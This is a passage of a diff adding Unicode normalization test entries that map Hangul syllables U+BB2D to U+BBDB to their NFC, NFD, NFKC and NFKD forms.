+{ source: [0xBB2D], NFC: [0xBB2D], NFD: [0x1106, 0x116D, 0x11BC], NFKC: [0xBB2D], NFKD: [0x1106, 0x116D, 0x11BC] },
+{ source: [0xBB2E], NFC: [0xBB2E], NFD: [0x1106, 0x116D, 0x11BD], NFKC: [0xBB2E], NFKD: [0x1106, 0x116D, 0x11BD] },
+{ source: [0xBB2F], NFC: [0xBB2F], NFD: [0x1106, 0x116D, 0x11BE], NFKC: [0xBB2F], NFKD: [0x1106, 0x116D, 0x11BE] },
+{ source: [0xBB30], NFC: [0xBB30], NFD: [0x1106, 0x116D, 0x11BF], NFKC: [0xBB30], NFKD: [0x1106, 0x116D, 0x11BF] },
+{ source: [0xBB31], NFC: [0xBB31], NFD: [0x1106, 0x116D, 0x11C0], NFKC: [0xBB31], NFKD: [0x1106, 0x116D, 0x11C0] },
+{ source: [0xBB32], NFC: [0xBB32], NFD: [0x1106, 0x116D, 0x11C1], NFKC: [0xBB32], NFKD: [0x1106, 0x116D, 0x11C1] },
+{ source: [0xBB33], NFC: [0xBB33], NFD: [0x1106, 0x116D, 0x11C2], NFKC: [0xBB33], NFKD: [0x1106, 0x116D, 0x11C2] },
+{ source: [0xBB34], NFC: [0xBB34], NFD: [0x1106, 0x116E], NFKC: [0xBB34], NFKD: [0x1106, 0x116E] },
+{ source: [0xBB35], NFC: [0xBB35], NFD: [0x1106, 0x116E, 0x11A8], NFKC: [0xBB35], NFKD: [0x1106, 0x116E, 0x11A8] },
+{ source: [0xBB36], NFC: [0xBB36], NFD: [0x1106, 0x116E, 0x11A9], NFKC: [0xBB36], NFKD: [0x1106, 0x116E, 0x11A9] },
+{ source: [0xBB37], NFC: [0xBB37], NFD: [0x1106, 0x116E, 0x11AA], NFKC: [0xBB37], NFKD: [0x1106, 0x116E, 0x11AA] },
+{ source: [0xBB38], NFC: [0xBB38], NFD: [0x1106, 0x116E, 0x11AB], NFKC: [0xBB38], NFKD: [0x1106, 0x116E, 0x11AB] },
+{ source: [0xBB39], NFC: [0xBB39], NFD: [0x1106, 0x116E, 0x11AC], NFKC: [0xBB39], NFKD: [0x1106, 0x116E, 0x11AC] },
+{ source: [0xBB3A], NFC: [0xBB3A], NFD: [0x1106, 0x116E, 0x11AD], NFKC: [0xBB3A], NFKD: [0x1106, 0x116E, 0x11AD] },
+{ source: [0xBB3B], NFC: [0xBB3B], NFD: [0x1106, 0x116E, 0x11AE], NFKC: [0xBB3B], NFKD: [0x1106, 0x116E, 0x11AE] },
+{ source: [0xBB3C], NFC: [0xBB3C], NFD: [0x1106, 0x116E, 0x11AF], NFKC: [0xBB3C], NFKD: [0x1106, 0x116E, 0x11AF] },
+{ source: [0xBB3D], NFC: [0xBB3D], NFD: [0x1106, 0x116E, 0x11B0], NFKC: [0xBB3D], NFKD: [0x1106, 0x116E, 0x11B0] },
+{ source: [0xBB3E], NFC: [0xBB3E], NFD: [0x1106, 0x116E, 0x11B1], NFKC: [0xBB3E], NFKD: [0x1106, 0x116E, 0x11B1] },
+{ source: [0xBB3F], NFC: [0xBB3F], NFD: [0x1106, 0x116E, 0x11B2], NFKC: [0xBB3F], NFKD: [0x1106, 0x116E, 0x11B2] },
+{ source: [0xBB40], NFC: [0xBB40], NFD: [0x1106, 0x116E, 0x11B3], NFKC: [0xBB40], NFKD: [0x1106, 0x116E, 0x11B3] },
+{ source: [0xBB41], NFC: [0xBB41], NFD: [0x1106, 0x116E, 0x11B4], NFKC: [0xBB41], NFKD: [0x1106, 0x116E, 0x11B4] },
+{ source: [0xBB42], NFC: [0xBB42], NFD: [0x1106, 0x116E, 0x11B5], NFKC: [0xBB42], NFKD: [0x1106, 0x116E, 0x11B5] },
+{ source: [0xBB43], NFC: [0xBB43], NFD: [0x1106, 0x116E, 0x11B6], NFKC: [0xBB43], NFKD: [0x1106, 0x116E, 0x11B6] },
+{ source: [0xBB44], NFC: [0xBB44], NFD: [0x1106, 0x116E, 0x11B7], NFKC: [0xBB44], NFKD: [0x1106, 0x116E, 0x11B7] },
+{ source: [0xBB45], NFC: [0xBB45], NFD: [0x1106, 0x116E, 0x11B8], NFKC: [0xBB45], NFKD: [0x1106, 0x116E, 0x11B8] },
+{ source: [0xBB46], NFC: [0xBB46], NFD: [0x1106, 0x116E, 0x11B9], NFKC: [0xBB46], NFKD: [0x1106, 0x116E, 0x11B9] },
+{ source: [0xBB47], NFC: [0xBB47], NFD: [0x1106, 0x116E, 0x11BA], NFKC: [0xBB47], NFKD: [0x1106, 0x116E, 0x11BA] },
+{ source: [0xBB48], NFC: [0xBB48], NFD: [0x1106, 0x116E, 0x11BB], NFKC: [0xBB48], NFKD: [0x1106, 0x116E, 0x11BB] },
+{ source: [0xBB49], NFC: [0xBB49], NFD: [0x1106, 0x116E, 0x11BC], NFKC: [0xBB49], NFKD: [0x1106, 0x116E, 0x11BC] },
+{ source: [0xBB4A], NFC: [0xBB4A], NFD: [0x1106, 0x116E, 0x11BD], NFKC: [0xBB4A], NFKD: [0x1106, 0x116E, 0x11BD] },
+{ source: [0xBB4B], NFC: [0xBB4B], NFD: [0x1106, 0x116E, 0x11BE], NFKC: [0xBB4B], NFKD: [0x1106, 0x116E, 0x11BE] },
+{ source: [0xBB4C], NFC: [0xBB4C], NFD: [0x1106, 0x116E, 0x11BF], NFKC: [0xBB4C], NFKD: [0x1106, 0x116E, 0x11BF] },
+{ source: [0xBB4D], NFC: [0xBB4D], NFD: [0x1106, 0x116E, 0x11C0], NFKC: [0xBB4D], NFKD: [0x1106, 0x116E, 0x11C0] },
+{ source: [0xBB4E], NFC: [0xBB4E], NFD: [0x1106, 0x116E, 0x11C1], NFKC: [0xBB4E], NFKD: [0x1106, 0x116E, 0x11C1] },
+{ source: [0xBB4F], NFC: [0xBB4F], NFD: [0x1106, 0x116E, 0x11C2], NFKC: [0xBB4F], NFKD: [0x1106, 0x116E, 0x11C2] },
+{ source: [0xBB50], NFC: [0xBB50], NFD: [0x1106, 0x116F], NFKC: [0xBB50], NFKD: [0x1106, 0x116F] },
+{ source: [0xBB51], NFC: [0xBB51], NFD: [0x1106, 0x116F, 0x11A8], NFKC: [0xBB51], NFKD: [0x1106, 0x116F, 0x11A8] },
+{ source: [0xBB52], NFC: [0xBB52], NFD: [0x1106, 0x116F, 0x11A9], NFKC: [0xBB52], NFKD: [0x1106, 0x116F, 0x11A9] },
+{ source: [0xBB53], NFC: [0xBB53], NFD: [0x1106, 0x116F, 0x11AA], NFKC: [0xBB53], NFKD: [0x1106, 0x116F, 0x11AA] },
+{ source: [0xBB54], NFC: [0xBB54], NFD: [0x1106, 0x116F, 0x11AB], NFKC: [0xBB54], NFKD: [0x1106, 0x116F, 0x11AB] },
+{ source: [0xBB55], NFC: [0xBB55], NFD: [0x1106, 0x116F, 0x11AC], NFKC: [0xBB55], NFKD: [0x1106, 0x116F, 0x11AC] },
+{ source: [0xBB56], NFC: [0xBB56], NFD: [0x1106, 0x116F, 0x11AD], NFKC: [0xBB56], NFKD: [0x1106, 0x116F, 0x11AD] },
+{ source: [0xBB57], NFC: [0xBB57], NFD: [0x1106, 0x116F, 0x11AE], NFKC: [0xBB57], NFKD: [0x1106, 0x116F, 0x11AE] },
+{ source: [0xBB58], NFC: [0xBB58], NFD: [0x1106, 0x116F, 0x11AF], NFKC: [0xBB58], NFKD: [0x1106, 0x116F, 0x11AF] },
+{ source: [0xBB59], NFC: [0xBB59], NFD: [0x1106, 0x116F, 0x11B0], NFKC: [0xBB59], NFKD: [0x1106, 0x116F, 0x11B0] },
+{ source: [0xBB5A], NFC: [0xBB5A], NFD: [0x1106, 0x116F, 0x11B1], NFKC: [0xBB5A], NFKD: [0x1106, 0x116F, 0x11B1] },
+{ source: [0xBB5B], NFC: [0xBB5B], NFD: [0x1106, 0x116F, 0x11B2], NFKC: [0xBB5B], NFKD: [0x1106, 0x116F, 0x11B2] },
+{ source: [0xBB5C], NFC: [0xBB5C], NFD: [0x1106, 0x116F, 0x11B3], NFKC: [0xBB5C], NFKD: [0x1106, 0x116F, 0x11B3] },
+{ source: [0xBB5D], NFC: [0xBB5D], NFD: [0x1106, 0x116F, 0x11B4], NFKC: [0xBB5D], NFKD: [0x1106, 0x116F, 0x11B4] },
+{ source: [0xBB5E], NFC: [0xBB5E], NFD: [0x1106, 0x116F, 0x11B5], NFKC: [0xBB5E], NFKD: [0x1106, 0x116F, 0x11B5] },
+{ source: [0xBB5F], NFC: [0xBB5F], NFD: [0x1106, 0x116F, 0x11B6], NFKC: [0xBB5F], NFKD: [0x1106, 0x116F, 0x11B6] },
+{ source: [0xBB60], NFC: [0xBB60], NFD: [0x1106, 0x116F, 0x11B7], NFKC: [0xBB60], NFKD: [0x1106, 0x116F, 0x11B7] },
+{ source: [0xBB61], NFC: [0xBB61], NFD: [0x1106, 0x116F, 0x11B8], NFKC: [0xBB61], NFKD: [0x1106, 0x116F, 0x11B8] },
+{ source: [0xBB62], NFC: [0xBB62], NFD: [0x1106, 0x116F, 0x11B9], NFKC: [0xBB62], NFKD: [0x1106, 0x116F, 0x11B9] },
+{ source: [0xBB63], NFC: [0xBB63], NFD: [0x1106, 0x116F, 0x11BA], NFKC: [0xBB63], NFKD: [0x1106, 0x116F, 0x11BA] },
+{ source: [0xBB64], NFC: [0xBB64], NFD: [0x1106, 0x116F, 0x11BB], NFKC: [0xBB64], NFKD: [0x1106, 0x116F, 0x11BB] },
+{ source: [0xBB65], NFC: [0xBB65], NFD: [0x1106, 0x116F, 0x11BC], NFKC: [0xBB65], NFKD: [0x1106, 0x116F, 0x11BC] },
+{ source: [0xBB66], NFC: [0xBB66], NFD: [0x1106, 0x116F, 0x11BD], NFKC: [0xBB66], NFKD: [0x1106, 0x116F, 0x11BD] },
+{ source: [0xBB67], NFC: [0xBB67], NFD: [0x1106, 0x116F, 0x11BE], NFKC: [0xBB67], NFKD: [0x1106, 0x116F, 0x11BE] },
+{ source: [0xBB68], NFC: [0xBB68], NFD: [0x1106, 0x116F, 0x11BF], NFKC: [0xBB68], NFKD: [0x1106, 0x116F, 0x11BF] },
+{ source: [0xBB69], NFC: [0xBB69], NFD: [0x1106, 0x116F, 0x11C0], NFKC: [0xBB69], NFKD: [0x1106, 0x116F, 0x11C0] },
+{ source: [0xBB6A], NFC: [0xBB6A], NFD: [0x1106, 0x116F, 0x11C1], NFKC: [0xBB6A], NFKD: [0x1106, 0x116F, 0x11C1] },
+{ source: [0xBB6B], NFC: [0xBB6B], NFD: [0x1106, 0x116F, 0x11C2], NFKC: [0xBB6B], NFKD: [0x1106, 0x116F, 0x11C2] },
+{ source: [0xBB6C], NFC: [0xBB6C], NFD: [0x1106, 0x1170], NFKC: [0xBB6C], NFKD: [0x1106, 0x1170] },
+{ source: [0xBB6D], NFC: [0xBB6D], NFD: [0x1106, 0x1170, 0x11A8], NFKC: [0xBB6D], NFKD: [0x1106, 0x1170, 0x11A8] },
+{ source: [0xBB6E], NFC: [0xBB6E], NFD: [0x1106, 0x1170, 0x11A9], NFKC: [0xBB6E], NFKD: [0x1106, 0x1170, 0x11A9] },
+{ source: [0xBB6F], NFC: [0xBB6F], NFD: [0x1106, 0x1170, 0x11AA], NFKC: [0xBB6F], NFKD: [0x1106, 0x1170, 0x11AA] },
+{ source: [0xBB70], NFC: [0xBB70], NFD: [0x1106, 0x1170, 0x11AB], NFKC: [0xBB70], NFKD: [0x1106, 0x1170, 0x11AB] },
+{ source: [0xBB71], NFC: [0xBB71], NFD: [0x1106, 0x1170, 0x11AC], NFKC: [0xBB71], NFKD: [0x1106, 0x1170, 0x11AC] },
+{ source: [0xBB72], NFC: [0xBB72], NFD: [0x1106, 0x1170, 0x11AD], NFKC: [0xBB72], NFKD: [0x1106, 0x1170, 0x11AD] },
+{ source: [0xBB73], NFC: [0xBB73], NFD: [0x1106, 0x1170, 0x11AE], NFKC: [0xBB73], NFKD: [0x1106, 0x1170, 0x11AE] },
+{ source: [0xBB74], NFC: [0xBB74], NFD: [0x1106, 0x1170, 0x11AF], NFKC: [0xBB74], NFKD: [0x1106, 0x1170, 0x11AF] },
+{ source: [0xBB75], NFC: [0xBB75], NFD: [0x1106, 0x1170, 0x11B0], NFKC: [0xBB75], NFKD: [0x1106, 0x1170, 0x11B0] },
+{ source: [0xBB76], NFC: [0xBB76], NFD: [0x1106, 0x1170, 0x11B1], NFKC: [0xBB76], NFKD: [0x1106, 0x1170, 0x11B1] },
+{ source: [0xBB77], NFC: [0xBB77], NFD: [0x1106, 0x1170, 0x11B2], NFKC: [0xBB77], NFKD: [0x1106, 0x1170, 0x11B2] },
+{ source: [0xBB78], NFC: [0xBB78], NFD: [0x1106, 0x1170, 0x11B3], NFKC: [0xBB78], NFKD: [0x1106, 0x1170, 0x11B3] },
+{ source: [0xBB79], NFC: [0xBB79], NFD: [0x1106, 0x1170, 0x11B4], NFKC: [0xBB79], NFKD: [0x1106, 0x1170, 0x11B4] },
+{ source: [0xBB7A], NFC: [0xBB7A], NFD: [0x1106, 0x1170, 0x11B5], NFKC: [0xBB7A], NFKD: [0x1106, 0x1170, 0x11B5] },
+{ source: [0xBB7B], NFC: [0xBB7B], NFD: [0x1106, 0x1170, 0x11B6], NFKC: [0xBB7B], NFKD: [0x1106, 0x1170, 0x11B6] },
+{ source: [0xBB7C], NFC: [0xBB7C], NFD: [0x1106, 0x1170, 0x11B7], NFKC: [0xBB7C], NFKD: [0x1106, 0x1170, 0x11B7] },
+{ source: [0xBB7D], NFC: [0xBB7D], NFD: [0x1106, 0x1170, 0x11B8], NFKC: [0xBB7D], NFKD: [0x1106, 0x1170, 0x11B8] },
+{ source: [0xBB7E], NFC: [0xBB7E], NFD: [0x1106, 0x1170, 0x11B9], NFKC: [0xBB7E], NFKD: [0x1106, 0x1170, 0x11B9] },
+{ source: [0xBB7F], NFC: [0xBB7F], NFD: [0x1106, 0x1170, 0x11BA], NFKC: [0xBB7F], NFKD: [0x1106, 0x1170, 0x11BA] },
+{ source: [0xBB80], NFC: [0xBB80], NFD: [0x1106, 0x1170, 0x11BB], NFKC: [0xBB80], NFKD: [0x1106, 0x1170, 0x11BB] },
+{ source: [0xBB81], NFC: [0xBB81], NFD: [0x1106, 0x1170, 0x11BC], NFKC: [0xBB81], NFKD: [0x1106, 0x1170, 0x11BC] },
+{ source: [0xBB82], NFC: [0xBB82], NFD: [0x1106, 0x1170, 0x11BD], NFKC: [0xBB82], NFKD: [0x1106, 0x1170, 0x11BD] },
+{ source: [0xBB83], NFC: [0xBB83], NFD: [0x1106, 0x1170, 0x11BE], NFKC: [0xBB83], NFKD: [0x1106, 0x1170, 0x11BE] },
+{ source: [0xBB84], NFC: [0xBB84], NFD: [0x1106, 0x1170, 0x11BF], NFKC: [0xBB84], NFKD: [0x1106, 0x1170, 0x11BF] },
+{ source: [0xBB85], NFC: [0xBB85], NFD: [0x1106, 0x1170, 0x11C0], NFKC: [0xBB85], NFKD: [0x1106, 0x1170, 0x11C0] },
+{ source: [0xBB86], NFC: [0xBB86], NFD: [0x1106, 0x1170, 0x11C1], NFKC: [0xBB86], NFKD: [0x1106, 0x1170, 0x11C1] },
+{ source: [0xBB87], NFC: [0xBB87], NFD: [0x1106, 0x1170, 0x11C2], NFKC: [0xBB87], NFKD: [0x1106, 0x1170, 0x11C2] },
+{ source: [0xBB88], NFC: [0xBB88], NFD: [0x1106, 0x1171], NFKC: [0xBB88], NFKD: [0x1106, 0x1171] },
+{ source: [0xBB89], NFC: [0xBB89], NFD: [0x1106, 0x1171, 0x11A8], NFKC: [0xBB89], NFKD: [0x1106, 0x1171, 0x11A8] },
+{ source: [0xBB8A], NFC: [0xBB8A], NFD: [0x1106, 0x1171, 0x11A9], NFKC: [0xBB8A], NFKD: [0x1106, 0x1171, 0x11A9] },
+{ source: [0xBB8B], NFC: [0xBB8B], NFD: [0x1106, 0x1171, 0x11AA], NFKC: [0xBB8B], NFKD: [0x1106, 0x1171, 0x11AA] },
+{ source: [0xBB8C], NFC: [0xBB8C], NFD: [0x1106, 0x1171, 0x11AB], NFKC: [0xBB8C], NFKD: [0x1106, 0x1171, 0x11AB] },
+{ source: [0xBB8D], NFC: [0xBB8D], NFD: [0x1106, 0x1171, 0x11AC], NFKC: [0xBB8D], NFKD: [0x1106, 0x1171, 0x11AC] },
+{ source: [0xBB8E], NFC: [0xBB8E], NFD: [0x1106, 0x1171, 0x11AD], NFKC: [0xBB8E], NFKD: [0x1106, 0x1171, 0x11AD] },
+{ source: [0xBB8F], NFC: [0xBB8F], NFD: [0x1106, 0x1171, 0x11AE], NFKC: [0xBB8F], NFKD: [0x1106, 0x1171, 0x11AE] },
+{ source: [0xBB90], NFC: [0xBB90], NFD: [0x1106, 0x1171, 0x11AF], NFKC: [0xBB90], NFKD: [0x1106, 0x1171, 0x11AF] },
+{ source: [0xBB91], NFC: [0xBB91], NFD: [0x1106, 0x1171, 0x11B0], NFKC: [0xBB91], NFKD: [0x1106, 0x1171, 0x11B0] },
+{ source: [0xBB92], NFC: [0xBB92], NFD: [0x1106, 0x1171, 0x11B1], NFKC: [0xBB92], NFKD: [0x1106, 0x1171, 0x11B1] },
+{ source: [0xBB93], NFC: [0xBB93], NFD: [0x1106, 0x1171, 0x11B2], NFKC: [0xBB93], NFKD: [0x1106, 0x1171, 0x11B2] },
+{ source: [0xBB94], NFC: [0xBB94], NFD: [0x1106, 0x1171, 0x11B3], NFKC: [0xBB94], NFKD: [0x1106, 0x1171, 0x11B3] },
+{ source: [0xBB95], NFC: [0xBB95], NFD: [0x1106, 0x1171, 0x11B4], NFKC: [0xBB95], NFKD: [0x1106, 0x1171, 0x11B4] },
+{ source: [0xBB96], NFC: [0xBB96], NFD: [0x1106, 0x1171, 0x11B5], NFKC: [0xBB96], NFKD: [0x1106, 0x1171, 0x11B5] },
+{ source: [0xBB97], NFC: [0xBB97], NFD: [0x1106, 0x1171, 0x11B6], NFKC: [0xBB97], NFKD: [0x1106, 0x1171, 0x11B6] },
+{ source: [0xBB98], NFC: [0xBB98], NFD: [0x1106, 0x1171, 0x11B7], NFKC: [0xBB98], NFKD: [0x1106, 0x1171, 0x11B7] },
+{ source: [0xBB99], NFC: [0xBB99], NFD: [0x1106, 0x1171, 0x11B8], NFKC: [0xBB99], NFKD: [0x1106, 0x1171, 0x11B8] },
+{ source: [0xBB9A], NFC: [0xBB9A], NFD: [0x1106, 0x1171, 0x11B9], NFKC: [0xBB9A], NFKD: [0x1106, 0x1171, 0x11B9] },
+{ source: [0xBB9B], NFC: [0xBB9B], NFD: [0x1106, 0x1171, 0x11BA], NFKC: [0xBB9B], NFKD: [0x1106, 0x1171, 0x11BA] },
+{ source: [0xBB9C], NFC: [0xBB9C], NFD: [0x1106, 0x1171, 0x11BB], NFKC: [0xBB9C], NFKD: [0x1106, 0x1171, 0x11BB] },
+{ source: [0xBB9D], NFC: [0xBB9D], NFD: [0x1106, 0x1171, 0x11BC], NFKC: [0xBB9D], NFKD: [0x1106, 0x1171, 0x11BC] },
+{ source: [0xBB9E], NFC: [0xBB9E], NFD: [0x1106, 0x1171, 0x11BD], NFKC: [0xBB9E], NFKD: [0x1106, 0x1171, 0x11BD] },
+{ source: [0xBB9F], NFC: [0xBB9F], NFD: [0x1106, 0x1171, 0x11BE], NFKC: [0xBB9F], NFKD: [0x1106, 0x1171, 0x11BE] },
+{ source: [0xBBA0], NFC: [0xBBA0], NFD: [0x1106, 0x1171, 0x11BF], NFKC: [0xBBA0], NFKD: [0x1106, 0x1171, 0x11BF] },
+{ source: [0xBBA1], NFC: [0xBBA1], NFD: [0x1106, 0x1171, 0x11C0], NFKC: [0xBBA1], NFKD: [0x1106, 0x1171, 0x11C0] },
+{ source: [0xBBA2], NFC: [0xBBA2], NFD: [0x1106, 0x1171, 0x11C1], NFKC: [0xBBA2], NFKD: [0x1106, 0x1171, 0x11C1] },
+{ source: [0xBBA3], NFC: [0xBBA3], NFD: [0x1106, 0x1171, 0x11C2], NFKC: [0xBBA3], NFKD: [0x1106, 0x1171, 0x11C2] },
+{ source: [0xBBA4], NFC: [0xBBA4], NFD: [0x1106, 0x1172], NFKC: [0xBBA4], NFKD: [0x1106, 0x1172] },
+{ source: [0xBBA5], NFC: [0xBBA5], NFD: [0x1106, 0x1172, 0x11A8], NFKC: [0xBBA5], NFKD: [0x1106, 0x1172, 0x11A8] },
+{ source: [0xBBA6], NFC: [0xBBA6], NFD: [0x1106, 0x1172, 0x11A9], NFKC: [0xBBA6], NFKD: [0x1106, 0x1172, 0x11A9] },
+{ source: [0xBBA7], NFC: [0xBBA7], NFD: [0x1106, 0x1172, 0x11AA], NFKC: [0xBBA7], NFKD: [0x1106, 0x1172, 0x11AA] },
+{ source: [0xBBA8], NFC: [0xBBA8], NFD: [0x1106, 0x1172, 0x11AB], NFKC: [0xBBA8], NFKD: [0x1106, 0x1172, 0x11AB] },
+{ source: [0xBBA9], NFC: [0xBBA9], NFD: [0x1106, 0x1172, 0x11AC], NFKC: [0xBBA9], NFKD: [0x1106, 0x1172, 0x11AC] },
+{ source: [0xBBAA], NFC: [0xBBAA], NFD: [0x1106, 0x1172, 0x11AD], NFKC: [0xBBAA], NFKD: [0x1106, 0x1172, 0x11AD] },
+{ source: [0xBBAB], NFC: [0xBBAB], NFD: [0x1106, 0x1172, 0x11AE], NFKC: [0xBBAB], NFKD: [0x1106, 0x1172, 0x11AE] },
+{ source: [0xBBAC], NFC: [0xBBAC], NFD: [0x1106, 0x1172, 0x11AF], NFKC: [0xBBAC], NFKD: [0x1106, 0x1172, 0x11AF] },
+{ source: [0xBBAD], NFC: [0xBBAD], NFD: [0x1106, 0x1172, 0x11B0], NFKC: [0xBBAD], NFKD: [0x1106, 0x1172, 0x11B0] },
+{ source: [0xBBAE], NFC: [0xBBAE], NFD: [0x1106, 0x1172, 0x11B1], NFKC: [0xBBAE], NFKD: [0x1106, 0x1172, 0x11B1] },
+{ source: [0xBBAF], NFC: [0xBBAF], NFD: [0x1106, 0x1172, 0x11B2], NFKC: [0xBBAF], NFKD: [0x1106, 0x1172, 0x11B2] },
+{ source: [0xBBB0], NFC: [0xBBB0], NFD: [0x1106, 0x1172, 0x11B3], NFKC: [0xBBB0], NFKD: [0x1106, 0x1172, 0x11B3] },
+{ source: [0xBBB1], NFC: [0xBBB1], NFD: [0x1106, 0x1172, 0x11B4], NFKC: [0xBBB1], NFKD: [0x1106, 0x1172, 0x11B4] },
+{ source: [0xBBB2], NFC: [0xBBB2], NFD: [0x1106, 0x1172, 0x11B5], NFKC: [0xBBB2], NFKD: [0x1106, 0x1172, 0x11B5] },
+{ source: [0xBBB3], NFC: [0xBBB3], NFD: [0x1106, 0x1172, 0x11B6], NFKC: [0xBBB3], NFKD: [0x1106, 0x1172, 0x11B6] },
+{ source: [0xBBB4], NFC: [0xBBB4], NFD: [0x1106, 0x1172, 0x11B7], NFKC: [0xBBB4], NFKD: [0x1106, 0x1172, 0x11B7] },
+{ source: [0xBBB5], NFC: [0xBBB5], NFD: [0x1106, 0x1172, 0x11B8], NFKC: [0xBBB5], NFKD: [0x1106, 0x1172, 0x11B8] },
+{ source: [0xBBB6], NFC: [0xBBB6], NFD: [0x1106, 0x1172, 0x11B9], NFKC: [0xBBB6], NFKD: [0x1106, 0x1172, 0x11B9] },
+{ source: [0xBBB7], NFC: [0xBBB7], NFD: [0x1106, 0x1172, 0x11BA], NFKC: [0xBBB7], NFKD: [0x1106, 0x1172, 0x11BA] },
+{ source: [0xBBB8], NFC: [0xBBB8], NFD: [0x1106, 0x1172, 0x11BB], NFKC: [0xBBB8], NFKD: [0x1106, 0x1172, 0x11BB] },
+{ source: [0xBBB9], NFC: [0xBBB9], NFD: [0x1106, 0x1172, 0x11BC], NFKC: [0xBBB9], NFKD: [0x1106, 0x1172, 0x11BC] },
+{ source: [0xBBBA], NFC: [0xBBBA], NFD: [0x1106, 0x1172, 0x11BD], NFKC: [0xBBBA], NFKD: [0x1106, 0x1172, 0x11BD] },
+{ source: [0xBBBB], NFC: [0xBBBB], NFD: [0x1106, 0x1172, 0x11BE], NFKC: [0xBBBB], NFKD: [0x1106, 0x1172, 0x11BE] },
+{ source: [0xBBBC], NFC: [0xBBBC], NFD: [0x1106, 0x1172, 0x11BF], NFKC: [0xBBBC], NFKD: [0x1106, 0x1172, 0x11BF] },
+{ source: [0xBBBD], NFC: [0xBBBD], NFD: [0x1106, 0x1172, 0x11C0], NFKC: [0xBBBD], NFKD: [0x1106, 0x1172, 0x11C0] },
+{ source: [0xBBBE], NFC: [0xBBBE], NFD: [0x1106, 0x1172, 0x11C1], NFKC: [0xBBBE], NFKD: [0x1106, 0x1172, 0x11C1] },
+{ source: [0xBBBF], NFC: [0xBBBF], NFD: [0x1106, 0x1172, 0x11C2], NFKC: [0xBBBF], NFKD: [0x1106, 0x1172, 0x11C2] },
+{ source: [0xBBC0], NFC: [0xBBC0], NFD: [0x1106, 0x1173], NFKC: [0xBBC0], NFKD: [0x1106, 0x1173] },
+{ source: [0xBBC1], NFC: [0xBBC1], NFD: [0x1106, 0x1173, 0x11A8], NFKC: [0xBBC1], NFKD: [0x1106, 0x1173, 0x11A8] },
+{ source: [0xBBC2], NFC: [0xBBC2], NFD: [0x1106, 0x1173, 0x11A9], NFKC: [0xBBC2], NFKD: [0x1106, 0x1173, 0x11A9] },
+{ source: [0xBBC3], NFC: [0xBBC3], NFD: [0x1106, 0x1173, 0x11AA], NFKC: [0xBBC3], NFKD: [0x1106, 0x1173, 0x11AA] },
+{ source: [0xBBC4], NFC: [0xBBC4], NFD: [0x1106, 0x1173, 0x11AB], NFKC: [0xBBC4], NFKD: [0x1106, 0x1173, 0x11AB] },
+{ source: [0xBBC5], NFC: [0xBBC5], NFD: [0x1106, 0x1173, 0x11AC], NFKC: [0xBBC5], NFKD: [0x1106, 0x1173, 0x11AC] },
+{ source: [0xBBC6], NFC: [0xBBC6], NFD: [0x1106, 0x1173, 0x11AD], NFKC: [0xBBC6], NFKD: [0x1106, 0x1173, 0x11AD] },
+{ source: [0xBBC7], NFC: [0xBBC7], NFD: [0x1106, 0x1173, 0x11AE], NFKC: [0xBBC7], NFKD: [0x1106, 0x1173, 0x11AE] },
+{ source: [0xBBC8], NFC: [0xBBC8], NFD: [0x1106, 0x1173, 0x11AF], NFKC: [0xBBC8], NFKD: [0x1106, 0x1173, 0x11AF] },
+{ source: [0xBBC9], NFC: [0xBBC9], NFD: [0x1106, 0x1173, 0x11B0], NFKC: [0xBBC9], NFKD: [0x1106, 0x1173, 0x11B0] },
+{ source: [0xBBCA], NFC: [0xBBCA], NFD: [0x1106, 0x1173, 0x11B1], NFKC: [0xBBCA], NFKD: [0x1106, 0x1173, 0x11B1] },
+{ source: [0xBBCB], NFC: [0xBBCB], NFD: [0x1106, 0x1173, 0x11B2], NFKC: [0xBBCB], NFKD: [0x1106, 0x1173, 0x11B2] },
+{ source: [0xBBCC], NFC: [0xBBCC], NFD: [0x1106, 0x1173, 0x11B3], NFKC: [0xBBCC], NFKD: [0x1106, 0x1173, 0x11B3] },
+{ source: [0xBBCD], NFC: [0xBBCD], NFD: [0x1106, 0x1173, 0x11B4], NFKC: [0xBBCD], NFKD: [0x1106, 0x1173, 0x11B4] },
+{ source: [0xBBCE], NFC: [0xBBCE], NFD: [0x1106, 0x1173, 0x11B5], NFKC: [0xBBCE], NFKD: [0x1106, 0x1173, 0x11B5] },
+{ source: [0xBBCF], NFC: [0xBBCF], NFD: [0x1106, 0x1173, 0x11B6], NFKC: [0xBBCF], NFKD: [0x1106, 0x1173, 0x11B6] },
+{ source: [0xBBD0], NFC: [0xBBD0], NFD: [0x1106, 0x1173, 0x11B7], NFKC: [0xBBD0], NFKD: [0x1106, 0x1173, 0x11B7] },
+{ source: [0xBBD1], NFC: [0xBBD1], NFD: [0x1106, 0x1173, 0x11B8], NFKC: [0xBBD1], NFKD: [0x1106, 0x1173, 0x11B8] },
+{ source: [0xBBD2], NFC: [0xBBD2], NFD: [0x1106, 0x1173, 0x11B9], NFKC: [0xBBD2], NFKD: [0x1106, 0x1173, 0x11B9] },
+{ source: [0xBBD3], NFC: [0xBBD3], NFD: [0x1106, 0x1173, 0x11BA], NFKC: [0xBBD3], NFKD: [0x1106, 0x1173, 0x11BA] },
+{ source: [0xBBD4], NFC: [0xBBD4], NFD: [0x1106, 0x1173, 0x11BB], NFKC: [0xBBD4], NFKD: [0x1106, 0x1173, 0x11BB] },
+{ source: [0xBBD5], NFC: [0xBBD5], NFD: [0x1106, 0x1173, 0x11BC], NFKC: [0xBBD5], NFKD: [0x1106, 0x1173, 0x11BC] },
+{ source: [0xBBD6], NFC: [0xBBD6], NFD: [0x1106, 0x1173, 0x11BD], NFKC: [0xBBD6], NFKD: [0x1106, 0x1173, 0x11BD] },
+{ source: [0xBBD7], NFC: [0xBBD7], NFD: [0x1106, 0x1173, 0x11BE], NFKC: [0xBBD7], NFKD: [0x1106, 0x1173, 0x11BE] },
+{ source: [0xBBD8], NFC: [0xBBD8], NFD: [0x1106, 0x1173, 0x11BF], NFKC: [0xBBD8], NFKD: [0x1106, 0x1173, 0x11BF] },
+{ source: [0xBBD9], NFC: [0xBBD9], NFD: [0x1106, 0x1173, 0x11C0], NFKC: [0xBBD9], NFKD: [0x1106, 0x1173, 0x11C0] },
+{ source: [0xBBDA], NFC: [0xBBDA], NFD: [0x1106, 0x1173, 0x11C1], NFKC: [0xBBDA], NFKD: [0x1106, 0x1173, 0x11C1] },
+{ source: [0xBBDB], NFC: [0xBBDB], NFD: [0x1106, 0x1173, 0x11C2], NFKC: [0xBBDB], NFKD: [0x1106, 0x1173, 0x11C2] },
